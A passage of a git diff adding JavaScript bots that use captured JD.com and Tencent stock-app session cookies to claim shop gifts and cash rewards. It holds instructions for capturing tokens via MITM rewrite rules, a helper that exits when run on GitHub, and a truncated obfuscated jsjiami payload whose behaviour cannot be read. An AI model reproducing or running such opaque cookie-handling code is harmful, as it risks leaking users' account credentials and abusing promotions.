ring(64)}`; + let url = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + + headers : { + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Content-Type' : `application/x-www-form-urlencoded`, + 'User-Agent' : `JD4iPhone/167874%20(iPhone;%20iOS;%20Scale/3.00)`, + 'Cookie' : cookie, + 'Host' : `api.m.jd.com`, + 'Referer' : ``, + 'Accept-Language' : `zh-Hans-CN;q=1, en-CN;q=0.9`, + 'Accept' : `*/*` + }, + body: body + }; + // console.log(JSON.stringify(url)); + $.post(url, async (err, resp, data) => { + try { + $.data = JSON.parse(data); + // $.log(`测试🚩: ${data}`) + // $.log(`请求token测试🚩resp: ${JSON.stringify(resp, null ,'\t')}`); + // console.log(JSON.stringify($.data,null, '\t')); + if($.data.errcode === 0){ + token = $.data.token + // console.log(`Toekn: ${token}`) + }else { + token = ''; + console.log(`token获取失败 ${$.data.message}`); + } + } catch (e) { + $.logErr(e, resp); + token = ''; + } finally { + resolve() + } + }) + }, timeout) + }) +} +// getMyPing +async function getMyPing(timeout = 500) { + return new Promise((resolve) => { + setTimeout(() => { + let url = { + url: `https://lzkj-isv.isvjcloud.com/customer/getMyPing`, + + headers: { + 'X-Requested-With' : `XMLHttpRequest`, + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Content-Type' : `application/x-www-form-urlencoded`, + 'Origin' : `https://lzkj-isv.isvjcloud.com`, + 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "Mozilla/5.0 (iPhone; CPU iPhone OS 15_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.18(0x18001236) NetType/WIFI Language/zh_CN"), + 'Cookie' :`IsvToken=${token};`+ cookie + r_cookie , + 'Host' : `lzkj-isv.isvjcloud.com`, + 'Referer' : `https://lzkj-isv.isvjcloud.com/wxShopGift/activity?activityId=${activityId}&sid=${randomString(32,'xx')}w&un_area=${randomString(2,'int')}_${randomString(4,'int')}_${randomString(4,'int')}_${randomString(5,'int')}`, + 'Accept-Language' : `zh-CN,zh-Hans;q=0.9`, + 'Accept' : `application/json` + }, + body: `userId=${userId}&token=${token}&fromType=APP_shopGift` + + }; + username=nickname; + pin=''; + // console.log(`getMyPing URL = ${JSON.stringify(url)}`); + $.post(url, async (err, resp, data) => { + try { + // $.data = JSON.parse(data); + if(err){ + $.log(`${JSON.stringify(err)}`); + }else { + $.data = JSON.parse(data); + rep_cookies = resp.headers['set-cookie']; + // console.log(rep_cookies); + r_cookie=''; + for(var c in rep_cookies){ + r_cookie += rep_cookies[c].split(" ")[0]; + } + if($.data.result){ + username=$.data.data.nickname; + pin=encodeURIComponent($.data.data.secretPin); + + }else { + console.log(`${$.data.errorMessage}`) + } + } + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }, timeout) + }) +} + +async function draw(timeout = 500) { + return new Promise((resolve) => { + setTimeout(() => { + let url = { + url: `https://lzkj-isv.isvjcloud.com/wxShopGift/draw`, + + headers: { + 'X-Requested-With' : `XMLHttpRequest`, + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Content-Type' : `application/x-www-form-urlencoded`, + 'Origin' : `https://lzkj-isv.isvjcloud.com`, + 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "Mozilla/5.0 (iPhone; CPU iPhone OS 15_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.18(0x18001236) NetType/WIFI Language/zh_CN"), + 'Cookie' :`IsvToken=${token};`+ cookie + r_cookie , + 'Host' : `lzkj-isv.isvjcloud.com`, + 'Referer' : `https://lzkj-isv.isvjcloud.com/wxShopGift/activity?activityId=${activityId}&sid=${randomString(32,'xx')}w&un_area=${randomString(2,'int')}_${randomString(4,'int')}_${randomString(4,'int')}_${randomString(5,'int')}`, + 'Accept-Language' : `zh-CN,zh-Hans;q=0.9`, + 'Accept' : `application/json` + }, + body: `activityId=${activityId}&buyerPin=${pin}&hasFollow=false&accessType=app` + + }; + + // console.log(`getMyPing URL = ${JSON.stringify(url)}`); + $.post(url, async (err, resp, data) => { + try { + // $.data = JSON.parse(data); + if(err){ + $.log(`${JSON.stringify(err)}`); + }else { + $.data = JSON.parse(data); + // console.log(JSON.stringify($.data,null, '\t')); + if($.data.result){ + console.log(`\tYes, 关注成功领取 ${lp_list}`); + getlp = lp_list + }else { + console.log(`\t${$.data.errorMessage}`); + getlp = $.data.errorMessage + } + + if($.countBean[username]){ + $.countBean[username] += getlp; + }else { + $.countBean[username] = getlp; + } + } + console.log("*****************************************") + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }, timeout) + }) +} + +function randomString(len, lx='hh') { +  len = len || 32; + if(lx==='hh'){ + var $chars = 'ABCDEFGHJKMNPQRSTWXYZoOLlabcde9gqfhijkmnVvprstwxyz234Uu5I1678'; /****默认去掉了容易混淆的字符oOLl,9gq,Vv,Uu,I1****/ + } + else if(lx === 'xx') { + var $chars = 'abcdefhijkmnprstwxyzolgqvu0192345678'; /****默认去掉了容易混淆的字符oOLl,9gq,Vv,Uu,I1****/ + } + else if(lx ==='dx'){ + var $chars = 'ABCDEFGHJKMNPQRSTWXYZUVILO0192345678'; + } + else if(lx ==='int'){ + var $chars = '0192345678'; + } +   var maxPos = $chars.length; +   var pwd = ''; +   for (i = 0; i < len; i++) { +     pwd += $chars.charAt(Math.floor(Math.random() * maxPos)); +   } +   return pwd; + }; +function get_times(lx='ms') { + let timeInMS = Math.round(new Date().getTime()); + let timeInSecond = Math.floor(timeInMS/1000); + // var times = '' + if(lx==='ms'){ + return timeInMS + }else if(lx==='ss'){ + return timeInSecond + }else { + return '' + } +} + +function tgBotNotify(text, desp) { + return new Promise(resolve => { + if (TG_BOT_TOKEN && TG_USER_ID) { + var bodys = {"chat_id": TG_USER_ID, "text": text+"\n"+desp, "disable_web_page_preview": true}; + const options = { + url: `https://${TG_API_HOST}/bot${TG_BOT_TOKEN}/sendMessage`, + body: JSON.stringify(bodys), + headers: { + 'Content-Type': 'application/json' + }, + timeout + } + // console.log(JSON.stringify(options, null, "\t")); + if (TG_PROXY_HOST && TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: TG_PROXY_HOST, + port: TG_PROXY_PORT * 1, + proxyAuth: TG_PROXY_AUTH + } + }) + } + Object.assign(options, { agent }) + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('telegram发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.ok) { + console.log('Telegram发送通知消息成功🎉。\n') + $.msg(`【PKC提示】`, `[${$.name}]变量已推送到监控群组【${data.result.chat.title}】\n`); + } else if (data.error_code === 400) { + console.log('请主动给bot发送一条消息并检查接收用户ID是否正确。\n') + } else if (data.error_code === 401){ + console.log('Telegram bot token 填写错误。\n') + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + } else { + console.log('可提供TG机器人推送变量到监控\nboxjs订阅:https://gitee.com/curtinlv/Curtin/raw/master/Boxjs/curtin.boxjs.json\n'); + $.msg(`【PKC提示】`, '可提供TG机器人推送变量到指定监控群组\nboxjs订阅:https://gitee.com/curtinlv/Curtin/raw/master/Boxjs/curtin.boxjs.json\n'); + resolve() + } + }) +} + +async function sendNotify(text, desp) { + // text = text.match(/.*?(?=\s?-)/g) ? text.match(/.*?(?=\s?-)/g)[0] : text; + await Promise.all([ + tgBotNotify(text, desp),//telegram 机器人 + + ]) +} + +function requireConfig() { + return new Promise(resolve => { + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + const activityIdArrNode = $.isNode() ? process.env.PKC_TXGZYL.split('@') : []; + + // IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.activityIdArr = []; + if ($.isNode()) { + Object.keys(activityIdArrNode).forEach((item) => { + if (activityIdArrNode[item]) { + $.activityIdArr.push(activityIdArrNode[item]) + } + }) + } else { + if ($.getdata('pkc_txgzyl')) $.activityIdArr = $.getdata('pkc_txgzyl').split('@').filter(item => !!item); + // console.log(`\nBoxJs设置的${$.name}关注有礼body:${$.getdata('gzylbody') ? $.getdata('gzylbody') : '暂无'}\n`); + } + + console.log(`您提供了${$.activityIdArr.length}个的特效关注有礼店铺活动\n`); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0 && data.base && data.base.nickname) { + $.nickName = data.base.nickname; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got/dist/source/index"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t, e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t, s, i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_txstockex.js b/jd_txstockex.js new file mode 100644 index 0000000..7c990d4 --- /dev/null +++ b/jd_txstockex.js @@ -0,0 +1,31 @@ +/* +腾讯自选股V2 兑换京东e卡,搬运修改,jd开头是方便拉取 + +更新了一下脚本,精简了需要的CK,多账户用换行(\n)或者@或者#隔开,尽量用换行隔开因为我没测试其他 +一天跑两次就够了,10点到13点之间运行一次猜涨跌做任务,16点半之后运行一次领猜涨跌奖励 +提现设置:默认提现5元,需要改的话自己设置TxStockCash变量,0代表不提现,1代表提现1元,5代表提现5元 +新手任务设置:默认不做新手任务,需要做的话设置TxStockNewbie为1 +分享任务设置:默认会做互助任务,需要多账号,黑号也能完成分享任务。不想做的话设置TxStockHelp为0 +可以设置某些号只助力别的号不做任务(没资格的小号可以助力大号),在对应的ck后面加&task=0 +没有捉到微信CK的也可以跑脚本,删掉wzq_qlskey和wzq_qluin就行,会尝试用APP的CK去完成微信任务,出现做任务失败是正常现象 + +青龙捉包,需要捉APP和公众号里面的小程序 +1. 打开APP,捉wzq.tenpay.com包,把url里的openid和fskey用&连起来填到TxStockCookie +2. 公众号 腾讯自选股微信版->右下角好福利->福利中心,捉wzq.tenpay.com包,把Cookie里的wzq_qlskey和wzq_qluin用&连起来填到TxStockCookie +格式如下: +export TxStockCookie='openid=xx&fskey=yy&wzq_qlskey=zz&wzq_qluin=aa' + +V2P,圈X重写: +打开APP和小程序自动获取 +小程序入口:公众号 腾讯自选股微信版->右下角好福利->福利中心 +[task_local] +#腾讯自选股 +35 11,16 * * * https://raw.githubusercontent.com/leafxcy/JavaScript/main/txstockV2.js, tag=腾讯自选股, enabled=true +[rewrite_local] +https://wzq.tenpay.com/cgi-bin/.*user.*.fcgi url script-request-header https://raw.githubusercontent.com/leafxcy/JavaScript/main/txstockV2.js +[MITM] +hostname = wzq.tenpay.com +10 10 * * * jd_txstockex.js +*/ +var _0xodA='jsjiami.com.v6',_0xodA_=['‮_0xodA'],_0x3fda=[_0xodA,'ZmhEUUU=','Z2FBTFI=','eUdpaXY=','YUtKTVU=','QmdoUVA=','Y2F0Y2g=','bG9nRXJy','ZmluYWxseQ==','MXwyfDB8NHwz','b3BlbmlkPWFub255bW91cw==','ZnNrZXk9','TEtncmw=','emZaZmo=','ZWZnVEQ=','QlhIT2Y=','d3pxX3FsdWluPQ==','ekhaZVU=','RURYVmM=','dXJs','Y2dpLWJpbi91c2VyaW5mby5mY2dp','Q29va2ll','bWF0Y2g=','T2pWZkQ=','QVRuV3I=','cUphU3M=','SWVuSEM=','b3JHa2s=','bXlZbVk=','bUF2S0M=','ZVFJRlo=','TXZCUWk=','bm10QW0=','RXhWcFI=','VFJpWFo=','Y01RSUg=','IOabtOaWsOesrA==','bUFoSE0=','U2ZhSk4=','IOiOt+WPluesrDHkuKpja+aIkOWKnzog','ZmZmcXE=','Y2dpLWJpbi9hY3Rpdml0eV91c2VyY2VudGVyLmZjZ2k=','V0dCSEQ=','YUxWc0Y=','ck1HQlI=','R3RXakY=','R2tNZG4=','cFFMVEk=','SmdFTFE=','eEVvS2c=','WE9GRG0=','T1ZBZ0U=','ak5oYlQ=','SGloSlY=','bUJ1d2c=','Z2V0TW9udGg=','Z2V0RnVsbFllYXI=','Ynh1cFA=','Z2V0RGF0ZQ==','YmZwcU8=','enRYb1k=','5YWx5om+5Yiw','5Liq5pyJ5pWI6LSm5Y+3','6L+Q6KGM6YCa55+lCgo=','UGdNYm0=','eVlxZWQ=','Li9zZW5kTm90aWZ5','Sk1oSXA=','Zmd5a0o=','SnFGR3I=','T1RFR04=','eXFpZWc=','WHRUc2s=','S1ZlTFA=','VWNUVko=','cXVqcXk=','Znh4WlE=','T3lLaGE=','VW1uYk0=','dUxndFE=','c2VuZE5vdGlmeQ==','ZnR4YW8=','VnlhYVQ=','UkxJSkU=','aGpBcFE=','cnBoSXQ=','WFhoeFY=','c0xjdUs=','SmJKaUY=','NHwyfDN8MXww','WEx5Rlg=','eWxyZkI=','ZlNEWFY=','Cj09PT09PT09PT09PT0gUHVzaERlYXIg6YCa55+lID09PT09PT09PT09PT0K','c3RkU3A=','aHR0cHM6Ly9hcGkyLnB1c2hkZWVyLmNvbS9tZXNzYWdlL3B1c2g/cHVzaGtleT0=','JnRleHQ9','VkpJSVM=','cnpwSXE=','d1VWbkI=','dkxyV1M=','Y29udGVudA==','cmVzdWx0','Cj09PT09PT09PT0gUHVzaERlYXIg6YCa55+l5Y+R6YCB','ID09PT09PT09PT0K','RktrQ1A=','WmlxbmY=','dEZiQ3E=','QkRBdXU=','aUp0Q0w=','TGVwYU8=','eFhEVWw=','Y0FuV2U=','UlNFdWs=','aVBkUlg=','b09udGI=','T1BXWGQ=','WEFWalE=','bmN5aEI=','TU9UQ0E=','anBJaGo=','c1FpVGs=','TFBua0U=','S1dJUFY=','TEVZUGk=','SmRNbGY=','bEp3Y24=','Ym5pVHY=','ZWdlSG4=','TEZJeXE=','dUVkYXk=','Wll2RHg=','TlJCV2Q=','em9yTXo=','SFZGR3Q=','S3JYekM=','Y0pPU1I=','bkFUU3M=','RnN5SVo=','T0FFaUg=','UUhHR2M=','U2ptd0Q=','VnpJSlo=','QVpDS0k=','b0ZSblg=','TmRxTEw=','QWFqRmg=','Q0lWaVU=','Tlp1VEQ=','cnlIREs=','UVhoQlY=','SU1ScHQ=','cE1TRnA=','V250Z3E=','QkJRSmo=','TFhVcWE=','eE9NbFg=','6K+35rGC5aSx6LSl','c3RyaW5naWZ5','UmlmR0g=','YkdkUE4=','UFNrYlE=','Z0ZkWWM=','SldjRVE=','dFdTU2s=','WlZzalM=','VVhCTWU=','R1NpYVA=','bGNsS2I=','WUdZUG0=','S1ZCcWE=','V0RTY1E=','dXR4cVA=','S1RESkQ=','cWh2UnE=','U0tBaXQ=','aW9JTE8=','Z2Vrc0M=','Uk54Tm8=','akRrYnY=','dVBIY1I=','ZWVwWUQ=','WENlakw=','eXVQUXU=','Y3ppSXQ=','bkxjWlk=','b2JqZWN0','bXJNWVA=','ZlVVTWo=','QlFodUE=','Tk96UE8=','QU5oQ3Q=','VVhhUnY=','V3VPa0Y=','VmhKZVg=','dUhZb3c=','TUNrTVQ=','b1lEVXA=','SW9mRkw=','TGZqREU=','THFzaFk=','a05NdUU=','b0hhQ0I=','a21rWVQ=','dXlZUW4=','ck5Mdmw=','dHVsVno=','SmVoVXQ=','YWJjZGVmMDEyMzQ1Njc4OQ==','V0plTXY=','bG1ZTHQ=','RUlEYU4=','elFzdGI=','eEhsWlo=','WWtiQkE=','YXZWRks=','V3JGZFQ=','cmFuZG9t','QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0=','NHwzfDB8NXwxfDI=','bHNJclg=','bml6blE=','ZmZDQXI=','R21henE=','SWpDblI=','am1NeGU=','dVpVYW0=','UGpRWlg=','S0h3c1g=','ZkZ1Zkw=','bmFnZEo=','eFV1VmI=','SFpwY3I=','UU52Sng=','TUhKc0g=','U01YTXg=','WWNscm4=','eW13Zk0=','TkRpZWM=','cVN5cnc=','dkdJTHE=','Y1Nxc0U=','akdZaHM=','MnwwfDN8MXw0fDd8Nnw1','dnhEU0w=','ZnhpR3c=','TXJJb1o=','QnF3cWg=','YU5BZXk=','Q05LbkQ=','Q3FZWWI=','ckVscmY=','WXdKcm0=','cERDQlA=','Q2dwYlk=','aXhVelU=','cFhQQng=','eFNOZWI=','TlFxRlA=','aUZJSFI=','b3l3eHo=','eU5xa1U=','UldwUkk=','akJPb2k=','R3lFZHI=','SHdNclU=','ZkF4S1o=','RkxJRFM=','RkNwTHc=','SEJNcHg=','UnlmTFM=','dW5pWWI=','Y2hheHQ=','RkRRbW0=','SGhwUXc=','SXJBSWg=','V3ZUS0M=','SGd6Y28=','Y2FMZEc=','cm10U0U=','TmNtRnQ=','WGVPd2Y=','ZEljYU8=','ek5tSkY=','U0t5Zkk=','TXl0dFM=','UWpNekU=','MXw0fDN8Mnww','cWZwYlg=','Q2hncU0=','QnNkY1A=','WmJscXE=','ZWN2TWc=','Q1hXWHE=','SFdKdkw=','aG51SFE=','SEV5YlM=','c0ZhTk4=','TXBZREI=','bHV0clI=','enFDaGw=','aVVtTWY=','cFFKZ0Q=','cldkR2U=','S3JaU3A=','SkZOSWE=','RkZ0aUY=','Z3hBb24=','Y0xEbkQ=','UmlXTVQ=','SWFaREo=','dVhVVVY=','aVhGUFQ=','amVTZ0U=','UVRXTFA=','ZGpnakE=','aVRnQ2Y=','WWpFZ2I=','S3dpZHA=','YUJQcE0=','UUNVY3Q=','QlJvTHc=','VmlOZEU=','cXJEbnI=','S2F6RGg=','cHZyTlA=','Y0ttQ1c=','S0lmZHI=','dmNVaWc=','Vk95bVU=','Z1FoVlc=','eWFqSU8=','Q2xLWXE=','d0paUms=','RGxyQ1Q=','VnBGc24=','Z0N0TnQ=','YmNpWm8=','Z1RFZE4=','VnJHRFM=','aGREZE8=','RURpVlI=','c0ZLenI=','bnhYZXM=','eU5xZUk=','alFJa3Y=','dldEWHU=','SXVYZUI=','WHh4cUE=','eHFQTHc=','UFN4eEk=','S1dTVUg=','em5HQUw=','TlJOYkg=','YWdLbU0=','ZFhBZnA=','aGJiRk4=','V2ZXZEk=','dnNWS20=','VEFvZUY=','cXFvaUg=','WUxsVVk=','dXJleFM=','bUpGb28=','clFRemY=','ZEFJaGg=','V0pIZm0=','UlRnVEc=','VUhsRVQ=','Qll6a0I=','UlJ1WVY=','cGZzZVI=','VEJTUFI=','aWxXZU4=','ektER0k=','VmZQVHI=','bnZtdE0=','RFVnSVc=','UGlIWHk=','TXN6Wk0=','WkJYY3c=','dGlPY04=','YkNPVWM=','amlsT0E=','T1VFcko=','RmdaVWI=','TFpCbHI=','bXZlQ1k=','a2NjdGE=','UndvbEU=','V2hpcXg=','aUVOcks=','QmhkeFo=','S1NZd24=','a1Blc04=','UVNDQ28=','RmZjd1g=','VE5zQ04=','SXFFWXI=','WnJUdmQ=','ZUNPVFI=','bURvQUs=','S1NIclQ=','Q1BTR2c=','TXVaRW0=','Um5NYmQ=','eGx5Smw=','YUpuRWE=','Y3hPS0U=','eklvT0w=','WmZVV1E=','ekx4Y0Y=','eGN1enk=','dEZ5alQ=','cWdWVUg=','aFhxVFU=','UG9TdmQ=','QkZ3YnI=','U2tVZ1Q=','d1pBUXU=','cXFaSk4=','UXBFbnI=','dmlabEM=','RmpCRlM=','T3hPdmo=','U1hrb1k=','alRlQVg=','blhDSFA=','RURz